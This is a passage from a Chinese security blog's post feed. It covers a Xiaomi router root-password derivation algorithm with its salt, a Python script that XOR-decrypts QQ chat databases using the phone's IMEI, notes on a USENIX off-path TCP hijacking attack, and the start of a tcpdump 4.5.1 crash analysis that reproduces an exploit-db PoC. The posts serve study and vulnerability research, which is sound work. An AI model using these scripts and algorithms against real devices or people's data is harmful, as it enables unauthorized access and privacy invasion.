class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">error </span>fopen public key</span><br><span class="line">Image verify failed, not formal image</span><br></pre></td></tr></table></figure></p><p>如果能解包应该可以得到脚本文件upsetting.sh</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/sh</span></span><br><span class="line">nvram <span class="built_in">set</span> ssh_en=1</span><br><span class="line">nvram <span class="built_in">set</span> flag_init_root_pwd=1</span><br><span class="line">nvram commit</span><br></pre></td></tr></table></figure><p>执行脚本文件upsetting.sh后将ssh_en设置为1同时设置了flag_init_root_pwd项。当正式启动时/usr/sbin/boot_check脚本检测到flag_init_root_pwd=1时自动修改root用户密码具体脚本为<br><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">flg_init_pwd</span>=`nvram <span class="builtin-name">get</span> flag_init_root_pwd`</span><br><span class="line"><span class="keyword">if</span> [ <span class="string">"<span class="variable">$flg_init_pwd</span>"</span> = <span class="string">"1"</span> ]; then</span><br><span class="line"><span class="attribute">init_pwd</span>=`mkxqimage -I`</span><br><span class="line">(echo <span class="variable">$init_pwd</span>; sleep 1; echo <span class="variable">$init_pwd</span>) | passwd root</span><br><span class="line">nvram unset flag_init_root_pwd</span><br><span class="line">nvram commit</span><br><span class="line">fi</span><br></pre></td></tr></table></figure></p><p>初始密码是mkxqimage -I的结果实际是根据路由器的序列号计算得到。路由器的序列号印在底盖上12位数字561000088888</p><p>初始密码计算算法为:</p><p><code>substr(md5(SN+&quot;A2E371B0-B34B-48A5-8C40-A7133F3B5D88&quot;), 0, 8)</code></p><p><strong><em>A2E371B0-B34B-48A5-8C40-A7133F3B5D88</em></strong> 为分析mkxqimage得到的salt</p>]]></content>
<categories>
<category> IOT </category>
</categories>
<tags>
<tag> 小米 </tag>
<tag> 文件格式 </tag>
<tag> SSH </tag>
</tags>
</entry>
<entry>
<title>QQ数据库的加密与解密</title>
<link href="/2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/"/>
<url>/2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/</url>
<content type="html"><![CDATA[<h1 id="qq数据库采用简单加密——异或加密"><a href="#qq数据库采用简单加密——异或加密" class="headerlink" title="qq数据库采用简单加密——异或加密"></a>qq数据库采用简单加密——异或加密</h1><h2 id="数据获取:"><a href="#数据获取:" class="headerlink" title="数据获取:"></a>数据获取:</h2><p>DENGTA_META.xml—IMEI:867179032952446<br>databases/2685371834.db——数据库文件</p><h2 id="解密方式:"><a href="#解密方式:" class="headerlink" title="解密方式:"></a>解密方式:</h2><p>明文msg_t 密文msg_Data keyIMEI<br>msg_t = msg_Data[i]^IMEI[i%15]</p><h2 id="实验:"><a href="#实验:" class="headerlink" title="实验:"></a>实验:</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sqlite3</span><br><span class="line"></span><br><span class="line">IMEI = <span class="string">'867179032952446'</span></span><br><span class="line">conn = sqlite3.connect(<span class="string">'2685371834.db'</span>)</span><br><span class="line">c = conn.cursor()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">_decrypt</span><span class="params">(foo)</span>:</span></span><br><span class="line"> substr = <span class="string">''</span></span><br><span class="line"> <span class="comment">#print(len(foo))</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,len(foo)):</span><br><span class="line"> substr += chr(ord(foo[i]) ^ ord(IMEI[i%<span class="number">15</span>]))</span><br><span class="line"> <span class="keyword">return</span> substr</span><br><span class="line"></span><br><span class="line"><span class="comment">#rem = c.execute("SELECT uin, remark, name FROM Friends")</span></span><br><span class="line">Msg = c.execute(<span class="string">"SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> msg <span class="keyword">in</span> Msg:</span><br><span class="line"> uid = _decrypt(msg[<span class="number">1</span>])</span><br><span class="line"> print(<span class="string">"\n"</span>+uid+<span class="string">":"</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> msgData = _decrypt(msg[<span class="number">0</span>]).decode(<span class="string">'utf-8'</span>)</span><br><span class="line"> print(msgData)</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="keyword">pass</span></span><br></pre></td></tr></table></figure><h2 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h2><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1552728077/qq.png" alt></p>]]></content>
<categories>
<category> 加密解密 </category>
</categories>
<tags>
<tag> 密码 </tag>
<tag> QQ </tag>
<tag> 数据库 </tag>
</tags>
</entry>
<entry>
<title>wifi半双工侧信道攻击学习笔记</title>
<link href="/2019/01/16/wifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
<url>/2019/01/16/wifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</url>
<content type="html"><![CDATA[<h1 id="TCP侧信道分析及利用的学习报告"><a href="#TCP侧信道分析及利用的学习报告" class="headerlink" title="TCP侧信道分析及利用的学习报告"></a>TCP侧信道分析及利用的学习报告</h1><p><strong><em>论文来源:</em></strong>USENIX SECURITY 2018Off-Path TCP Exploit: How Wireless Routers Can Jeopardize Your Secrets<br><strong><em>下载:</em></strong><br><a href="https://www.usenix.org/conference/usenixsecurity18/presentation/chen-weiteng" target="_blank" rel="noopener">原文pdf</a><br><a href="https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553316881/ARE/wifi.pptx" target="_blank" rel="noopener">中文slides</a></p><h2 id="背景知识"><a href="#背景知识" class="headerlink" title="背景知识"></a>背景知识</h2><h3 id="测信道"><a href="#测信道" class="headerlink" title="测信道"></a>测信道</h3><p><strong>香农信息论</strong></p><p><img src="./1.png" alt="信息熵"></p><p><strong>什么是信息?</strong> 用来减少随机不确定的东西</p><p><strong>什么是加密?</strong> 类似于加噪声,增加随机不确定性</p><blockquote><p>“从密码分析者来看,一个保密系统几乎就是一个通信系统。待传的消息是统计事件,加密所用的密钥按概率选出,加密结果为密报,这是分析者可以利用的,类似于受扰信号。”</p></blockquote><p><strong>侧信道随之出现</strong> 越过加密算法增加的随机不定性,从其他的渠道获取数据标签,确定信息内容。</p><ol><li>早期:采集加密电子设备在运行过程中的时间消耗、功率消耗或者电磁辐射消耗等边缘信息的差异性</li><li>而随着研究的深入逐渐从加密设备延伸到计算机内部CPU、内存等之间的信息传递</li><li>并在Web应用交互信息传递越来越频繁时延伸到了网络加密数据流的破解方面</li></ol><p><strong>侧信道攻击的流程</strong> 第一个就是侧信道泄露的截取,第二个是信息的恢复。</p><hr><h3 id="网络攻击"><a href="#网络攻击" class="headerlink" title="网络攻击"></a>网络攻击</h3><ol><li>中间人攻击<blockquote><p>“指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。”</p></blockquote></li></ol><p><img src="./2-Man_in_the_middle_attack.svg.png" alt></p><ul><li>公共wifi、路由器劫持</li><li>一般使用加密来防御</li><li>加密的代价:维护密钥证书、影响功能(运营商无法做缓存)</li></ul><ol start="2"><li>非中间人攻击/偏离路径攻击/off-path attack<blockquote><p>通信线路之外,攻击者看不到双方的消息,没办法截获和发送通信包。智能伪造成一方给另一方发消息。</p></blockquote></li></ol><ul><li>攻击成功需要:消息合法+最先到达</li><li>防御措施challenge-response/询问-应答机制<br>双方在通信前交换一个随机数,这个随机数在每次的通信中都要被附带,而中间人看不见这个随机数,因此伪造的消息被认为不合法。</li><li>攻击者如何得到这个随机数:侧信道</li></ul><hr><h3 id="TCP三次握手"><a href="#TCP三次握手" class="headerlink" title="TCP三次握手"></a>TCP三次握手</h3><p><img src="./3-Connection_TCP.png" alt></p><blockquote><ol><li>客户端通过向服务器端发送一个SYN来创建一个主动打开作为三路握手的一部分。客户端把这段连接的序号设定为<em>随机数A</em>。</li><li>服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1SYN/ACK包本身又有一个<em>随机产生的序号B</em>。</li><li>最后客户端再发送一个ACK。当服务端收到这个ACK的时候就完成了三路握手并进入了连接创建状态。此时包的序号被设定为收到的确认号A+1而响应号则为B+1。</li></ol></blockquote><p>通过三次握手,确定对方不是非中间人</p><p><strong><em>TCP序列号的问题</em></strong></p><table><thead><tr><th style="text-align:center">1985</th><th style="text-align:center">1995</th><th style="text-align:center">2001</th><th style="text-align:center">2004</th><th style="text-align:center">2007</th><th style="text-align:center">2012</th><th style="text-align:center">2012</th><th style="text-align:center">2016</th></tr></thead><tbody><tr><td style="text-align:center">Morris</td><td style="text-align:center">Mitnik</td><td style="text-align:center">Zalewsky</td><td style="text-align:center">Waston</td><td style="text-align:center">kLM</td><td style="text-align:center">Herzberg</td><td style="text-align:center">作者</td><td style="text-align:center">作者</td></tr><tr><td style="text-align:center">初始序列可预测</td><td style="text-align:center">真实利用</td><td style="text-align:center">漏洞仍在</td><td style="text-align:center">BGP DoS</td><td style="text-align:center">Windows攻击</td><td style="text-align:center">Puppet-assisted</td><td style="text-align:center">Malware-assisted</td><td style="text-align:center">off-path attack</td></tr></tbody></table><ol><li>90年代时发现并不随机1995年伪造客户端连接微软大楼的服务器</li><li>2007年在windows场景下用IDID侧信道猜出序列号只针对Windows花费几小时</li></ol><hr><h2 id="Malware-assisted"><a href="#Malware-assisted" class="headerlink" title="Malware-assisted"></a>Malware-assisted</h2><p><strong>攻击模型:</strong><br>给受害者安装一个无特权的应用程序仅能网络连接这个程序跟非中间人的攻击者里应外合劫持手机上所有的TCP连接。<br><img src="./5-攻击模型.PNG" alt></p><p><strong>如何劫持TCP</strong></p><ol><li><p>需要的信息Facebook的连接IP地址和端口号由此可以知道TCP连接的序列号利用序列号伪装成Facebook给手机发消息。<br>使用netstat命令获取<br><img src="./4-netstat获取信息.jpg" alt></p></li><li><p>任务由于TCP的序列号通常连续所以要精确猜到它的下一个序列号。</p></li><li>如何验证序列号正确:通过某种侧信道,这个恶意软件在后台可以提供反馈。</li></ol><h3 id="变种一:防火墙"><a href="#变种一:防火墙" class="headerlink" title="变种一:防火墙"></a>变种一:防火墙</h3><p><strong>攻击过程:</strong> TCP三次握手之后产生A和B将来传输的包序列号必须跟A和B很接近否则防火墙会丢弃这个包。因此只有猜对了序列号包才能到达手机端。到达手机端后后台的恶意软件可以帮助我们判断手机是否接受了这个数据包。</p><p><strong>具体侧信道方案:</strong> CPU资源使用率噪音很大——&gt;TCP计数器后台软件运行制造噪音——&gt;低噪音计数器:包被丢掉时,一个相应的错误计数器。</p><p><strong>解决方法:</strong> 关闭防火墙检查序列号的功能</p><h3 id="变种二:无防火墙"><a href="#变种二:无防火墙" class="headerlink" title="变种二:无防火墙"></a>变种二:无防火墙</h3><p>具体侧信道方案跟TCP业务逻辑有关的计数器——收到的TCP包序列号小于期望时增加大于时不变。二分查找搜索正确的序列号。<br>影响范围Android、Linux、MacOS、FreeBSD</p><hr><h2 id="Pure-off-path-无恶意软件协助"><a href="#Pure-off-path-无恶意软件协助" class="headerlink" title="Pure off-path:无恶意软件协助"></a>Pure off-path:无恶意软件协助</h2><blockquote><p>不植入恶意软件劫持任意两台机器的TCP连接首先确定是否建立TCP连接然后推测其序列号A和B。</p></blockquote><h3 id="Global-Rate-Limit"><a href="#Global-Rate-Limit" class="headerlink" title="Global Rate Limit"></a>Global Rate Limit</h3><blockquote><p>USENIX 2016 : Off-Path TCP Exploits: Global Rate Limit Considered Dangerous</p></blockquote><p><strong>侧信道:</strong> 所有的侧信道本质上就是攻击者和受害者之间共享着某些资源如之前的全局TCP计数器。这里使用的侧信道是 <strong><em>服务器上</em></strong> 的共享资源,<strong><em>限速器</em></strong>RFC 5961限制某一种包的发送速率默认100p/s</p><p><strong>如何利用共享限速器:</strong><br>先判断是否建立了连接。然后伪造TCP包需要猜测源端口如果猜测正确服务器会返回一个challenge攻击者不断触发一共可以收到99个还有一个发给了客户端如果猜测错误则一共可以收到100个challenge。</p><p><img src="./6-GRL-R.png" alt></p><p><img src="./7-GRL-L.png" alt></p><p><strong>评估:</strong> 是否建立了连接:&lt;10s ; Seq30s ACK:&lt;10s</p><p><strong>解决方案:</strong> 1. 加噪音100变成150、2002. 限速器做成局部的</p><hr><h3 id="Unfixable-WiFi-timing"><a href="#Unfixable-WiFi-timing" class="headerlink" title="Unfixable WiFi timing"></a>Unfixable WiFi timing</h3><blockquote><p>USENIX 2018 : Off-Path TCP Exploit: How Wireless Routers<br>Can Jeopardize Your Secrets<br>之前的漏洞无论是计数器还是限速器都属于软件,很好更正,但这篇文章的漏洞利用无法修复。</p></blockquote><p><strong>TCP收包的原理</strong> 通常TCP收包要看这个包是否匹配了当前的某一个连接。如果连接匹配上了就会去看这个包的序列号如果序列号不对会触发一个回复说明这个序列号存在问题如果序列号正确但反向序列号不对也会丢包。当连接匹配、序列号和反向序列号正确时就会返回一个数据包。<br><img src="./8-收包原理.jpg" alt></p><p><strong>侧信道:</strong> 攻击者伪装成服务器给客户端发包,正确的序列号会有<strong><em>回复</em></strong>,错误则没有。但回复时发送给服务器的,有没有回复攻击者并不知道。那么如何去判断有没有回复,利用无线网络的 <strong><em>半双工</em></strong> 传输。<br>让有回包和没有回包的时间差异放大。</p><p><strong>判断流程:</strong> 客户端和路由器之间wifi通信。攻击者依次发送三个数据包第一个包用来测试正常的RTT。第2个包是伪装成服务器发送的如果第2个包猜对了客户端会向服务器返回数据包这会导致占用更长时间的wifi信道从而会使第3个包的RTT更长。<br><img src="./8-noTrigger.PNG" alt></p><p><img src="./8-trigger.PNG" alt></p><p><strong>评估:</strong> 在本地环境下如果发送40个包就有20ms的RTT差别。</p><p><strong>攻击应用:</strong><br><strong>1. 攻击模型:</strong> 受害者访问了我们的钓鱼网站这时javascript傀儡会在后台执行主动建立到攻击者的连接规避NAT或防火墙造成的不可抵达问题这时攻击者就可以从外网测试RTT。</p><blockquote><p>与理想情况的不同客户端通常在NAT或防火墙之后操作系统不一定严格遵守TCP收包的原则</p></blockquote><pre><code>Attacker -------wire----------| Router ---------wireless-------Victim (client)Server -------wire----------|</code></pre><p><strong>2. 攻击目标:</strong> 推断出客户端和服务器是否建立了连接合计连接中交换的字节数或强制中断连接注入恶意payload到连接不失一般性的关注web缓存投毒。前两个不需要傀儡初始化连接第三个不一定需要但攻击者控制了时序能够简化攻击。</p><p><strong>3. 攻击过程:</strong> 假设傀儡已经建立了连接攻击者可以劫持并替换任何不加密的网站如武汉大学并在浏览器缓存。这是因为当浏览器请求相同的ip地址时会复用之前的TCP连接。这意味着恶意网站中的傀儡可以通过重复HTML元素来建立到目标域名的单个持久连接。然后路径外攻击者可以进行侧信道攻击以推断目标连接中使用的端口号和序列号然后注入虚假的http响应并要求浏览器不重新检查对象的新鲜度从而达到持续性的缓存投毒。</p><p><strong>4. 细节:</strong></p><ul><li><strong>连接(四元组)推断:</strong> 每一轮使用30个重复包测试一个端口如果端口号正确就会发现RTT大幅增加。如果还要完成 <strong><em>web缓存投毒</em></strong> ,还需要傀儡初始化连接来协助,根据系统不同,有不同的端口选择算法可以优化:<strong><em>windows&amp;macOS</em></strong> 使用全局和顺序端口分配策略为其TCP连接选择短暂的端口号这意味着攻击者可以在观察到与恶意Web服务器的初始连接后推断出要使用的下一个端口号这完全消除了对端口号推断的需要。<strong><em>NAT</em></strong> 端口保留,不需要关心外部端口被转换成不可预知的内部端口。<strong><em>来自同一域名的多个IP地址</em></strong>,这意味着攻击者需要付出更大的代价来推断端口号。</li><li><strong>序列号推断:</strong> 通过利用时序侧信道来判断是否存在相应的响应,从而将窗口序列号与窗外序列号区分开来。一旦我们得到一个 <strong><em>窗口内序列号</em></strong>,通过进行二分搜索进一步将序列号空间缩小到单个值 <strong><em>RCV.NXT</em></strong>。如果还要使用傀儡建立的连接发起web缓存投毒可以进一步优化<strong><em>增大接收窗口的大小</em></strong>可以减少猜测的迭代次数通常可以放大到500000(之前是65535)而且根据RFC793,窗口放大之后就永远不会缩小。<br><img src="./9-序列号推断.PNG" alt></li><li><p><strong>TCP劫持</strong> 通过劫持傀儡初始化的连接可以简化web缓存投毒的过程。三个os在ACK验证上都不符合规范所以各自处理情况也不同——<strong><em>windows</em></strong>客户端必须持续发送请求以防止ACK接收窗口仅为一个字节这要求攻击者必须能准确预期下一个序列号并解决大量流量带来的噪声。<br>因此作者设计了一种新策略该策略利用处理重叠数据的TCP行为和处理损坏的HTTP响应的浏览器行为——在Windows主机上缓冲的攻击者注入数据可能会破坏来自服务器的真实HTTP响应。 <strong><em>1注入</em></strong>傀儡不断从服务器上请求脚本而攻击者发送2^23/|wnd|个欺骗性数据包这些包的窗口序列号与RCV.NXT加上偏移量相匹配其中|wnd|为ack接收窗口大小第i个数据包的ACK号为i*|wnd|payload为</p> <figure class="highlight coq"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">websocket.send(|<span class="type">wnd</span>|<span class="type">*i</span>)</span><br></pre></td></tr></table></figure><p> 因此这些数据包中包含有效ACK号的一个包将被缓冲并破坏真实的HTTP响应头。浏览器执行注入的脚本时它将通过websocket发送猜测的ACK号提供有效的窗口内ACK号。<br><img src="./9-http注入.PNG" alt><br><strong><em>2利用</em></strong>由于客户端已经接受了额外的欺骗payload推进了其预期的序列号因此客户端和服务器实际上已经被去同步。攻击者现在可以简单地发送欺骗性响应知道预期的序列号和有效的ACK号。如果我们只想执行一次性注入只需用恶意脚本替换第一步中的payload就足够了。<br>此外针对Windows的注入步骤存在更加通用的替代策略不依赖于浏览器行为。 具体来说由于HTTP响应的前几个字节是可预先确定的即HTTP不破坏真实的响应而是覆盖标题和正文以形成合法但恶意的响应。 在这种情况下,浏览器将完全忘记注入的存在。 这表明一旦序列号泄露就存在各种方法来有效地将数据注入浏览器而不用进行基于时间信道的慢得多的ACK号推断。</p></li></ul><hr><h2 id="Discussion"><a href="#Discussion" class="headerlink" title="Discussion"></a>Discussion</h2><p>时序侧信道来自无线网络的半双工性质。由于无线协议中固有的冲突和回退它被进一步放大。正如我们的测试路由器所证实的那样现代无线路由器都支持CSMA / CA和RTS / CTS因为它是802.11标准的一部分,并且该原则不太可能很快改变。<br>虽然作者只讨论威胁模型其中来自受害客户端的连接是针对性的但攻击实际上也适用于源自通过同一无线路由器连接的其他客户端的连接。这是因为所有这些客户端例如在相同NAT之后共享了相同的冲突域并因此遭受相同的定时信道。通过探测数据包在任何客户端上触发的响应将有效地延迟探测后查询。在这种情况下受害者连接通过傀儡打开只是为远程攻击者提供了测量碰撞的机会。<br>此外我们可以扩展威胁模型以考虑无线连接的服务器例如物联网设备。已经证明通过公共IP地址和开放端口可以访问数百万个物联网设备。在这种情况下可以针对此类IoT设备上的连接启动完全偏离路径的攻击。例如计算在连接上交换的字节终止与另一主机的连接在正在进行的telnet连接上注入恶意命令。</p>]]></content>
<categories>
<category> 顶会论文 </category>
</categories>
<tags>
<tag> 侧信道攻击 </tag>
<tag> wifi </tag>
</tags>
</entry>
<entry>
<title>TCPDUMP拒绝服务攻击漏洞</title>
<link href="/2018/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/"/>
<url>/2018/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/</url>
<content type="html"><![CDATA[<h1 id="TCPDUMP-4-5-1-拒绝服务攻击漏洞分析"><a href="#TCPDUMP-4-5-1-拒绝服务攻击漏洞分析" class="headerlink" title="TCPDUMP 4.5.1 拒绝服务攻击漏洞分析"></a>TCPDUMP 4.5.1 拒绝服务攻击漏洞分析</h1><h2 id="Tcpdump介绍"><a href="#Tcpdump介绍" class="headerlink" title="Tcpdump介绍"></a>Tcpdump介绍</h2><ol><li>tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump它需要WinPcap驱动相当于在Linux平台下的libpcap.</li><li>tcpdump能够分析网络行为性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤并提供and、or、not等逻辑语句来帮助你去掉无用的信息从而使用户能够进一步找出问题的根源。</li><li>也可以使用 tcpdump 的实现特定目的,例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量如Telnet或HTTP的数据包查看登录的用户名、密码、网址、正在浏览的网站内容或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁而是对网络上的其他计算机的安全存在威胁。</li></ol><h2 id="分析环境"><a href="#分析环境" class="headerlink" title="分析环境"></a>分析环境</h2><ul><li>Ubuntu 16.04.4 LTS i686</li><li>tcpdump 4.5.1</li><li>gdb with peda</li></ul><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>这个漏洞触发的原因是tcpdump在处理特殊的pcap包的时候由于对数据包传输数据长度没有进行严格的控制导致在连续读取数据包中内容超过一定长度后会读取到无效的内存空间从而导致拒绝服务的发生。对于这个漏洞首先要对pcap包的结构进行一定的分析才能够最后分析出漏洞的成因下面对这个漏洞进行复现。</p><h3 id="编译安装tcpdump"><a href="#编译安装tcpdump" class="headerlink" title="编译安装tcpdump"></a>编译安装tcpdump</h3><figure class="highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span><span class="comment"># apt-get install libpcap-dev</span></span><br><span class="line"><span class="number">2.</span><span class="comment"># dpkg -l libpcap-dev</span></span><br><span class="line"><span class="number">3.</span><span class="comment"># wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span></span><br><span class="line"><span class="number">4.</span><span class="comment"># tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span></span><br><span class="line"><span class="number">5.</span><span class="comment"># cd tcpdump-4.5.1/</span></span><br><span class="line"><span class="number">6.</span><span class="comment"># ./configure</span></span><br><span class="line"><span class="number">7.</span><span class="comment"># make</span></span><br><span class="line"><span class="number">8.</span><span class="comment"># make install</span></span><br><span class="line"><span class="number">9.</span><span class="comment"># tcpdump -version</span></span><br><span class="line"> tcpdump <span class="built_in">version</span> <span class="number">4.5</span><span class="number">.1</span></span><br><span class="line"> libpcap <span class="built_in">version</span> <span class="number">1.7</span><span class="number">.4</span></span><br></pre></td></tr></table></figure><h3 id="生成payload来自exploit-db-payload"><a href="#生成payload来自exploit-db-payload" class="headerlink" title="生成payload来自exploit-db payload"></a>生成payload来自exploit-db payload</h3><figure class="highlight taggerscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"># Exploit Title: tcpdump 4.5.1 Access Violation Crash</span><br><span class="line"># Date: 31st May 2016</span><br><span class="line"># Exploit Author: David Silveiro</span><br><span class="line"># Vendor Homepage: http://www.tcpdump.org</span><br><span class="line"># Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz</span><br><span class="line"># Version: 4.5.1</span><br><span class="line"># Tested on: Ubuntu 14 LTS</span><br><span class="line">from subprocess import call</span><br><span class="line">from shlex import split</span><br><span class="line">from time import sleep</span><br><span class="line"></span><br><span class="line">def crash():</span><br><span class="line"> command = 'tcpdump -r crash'</span><br><span class="line"> buffer = '<span class="symbol">\x</span>d4<span class="symbol">\x</span>c3<span class="symbol">\x</span>b2<span class="symbol">\x</span>a1<span class="symbol">\x</span>02<span class="symbol">\x</span>00<span class="symbol">\x</span>04<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>f5<span class="symbol">\x</span>ff'</span><br><span class="line"> buffer += '<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00I<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>e6<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>80<span class="symbol">\x</span>00'</span><br><span class="line"> buffer += '<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>08<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00&lt;<span class="symbol">\x</span>9c7@<span class="symbol">\x</span>ff<span class="symbol">\x</span>00'</span><br><span class="line"> buffer += '<span class="symbol">\x</span>06<span class="symbol">\x</span>a0r<span class="symbol">\x</span>7f<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>01<span class="symbol">\x</span>7f<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>ec<span class="symbol">\x</span>00<span class="symbol">\x</span>01<span class="symbol">\x</span>e0<span class="symbol">\x</span>1a'</span><br><span class="line"> buffer += "<span class="symbol">\x</span>00<span class="symbol">\x</span>17g+++++++<span class="symbol">\x</span>85<span class="symbol">\x</span>c9<span class="symbol">\x</span>03<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>10<span class="symbol">\x</span>a0&amp;<span class="symbol">\x</span>80<span class="symbol">\x</span>18<span class="symbol">\'</span>"</span><br><span class="line"> buffer += "xfe$<span class="symbol">\x</span>00<span class="symbol">\x</span>01<span class="symbol">\x</span>00<span class="symbol">\x</span>00@<span class="symbol">\x</span>0c<span class="symbol">\x</span>04<span class="symbol">\x</span>02<span class="symbol">\x</span>08<span class="symbol">\n</span>', '<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00"</span><br><span class="line"> buffer += '<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>01<span class="symbol">\x</span>03<span class="symbol">\x</span>03<span class="symbol">\x</span>04'</span><br><span class="line"> with open('crash', 'w+b') as file:</span><br><span class="line"> file.write(buffer)</span><br><span class="line"> try:</span><br><span class="line"> call(split(command))</span><br><span class="line"> print("Exploit successful! ")</span><br><span class="line"> except:</span><br><span class="line"> print("Error: Something has gone wrong!")</span><br><span class="line">def main():</span><br><span class="line"> print("Author: David Silveiro ")</span><br><span class="line"> print(" tcpdump version 4.5.1 Access Violation Crash ")</span><br><span class="line"> sleep(2)</span><br><span class="line"> crash()</span><br><span class="line">if __name__ == "__main__":</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure><h2 id="崩溃分析"><a href="#崩溃分析" class="headerlink" title="崩溃分析"></a>崩溃分析</h2><h3 id="pcap包格式"><a href="#pcap包格式" class="headerlink" title="pcap包格式"></a>pcap包格式</h3><p>首先来分析一下pcap包的格式首先是pcap文件头的内容在.h有所定义这里将结构体以及对应变量含义都列出来。<br><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 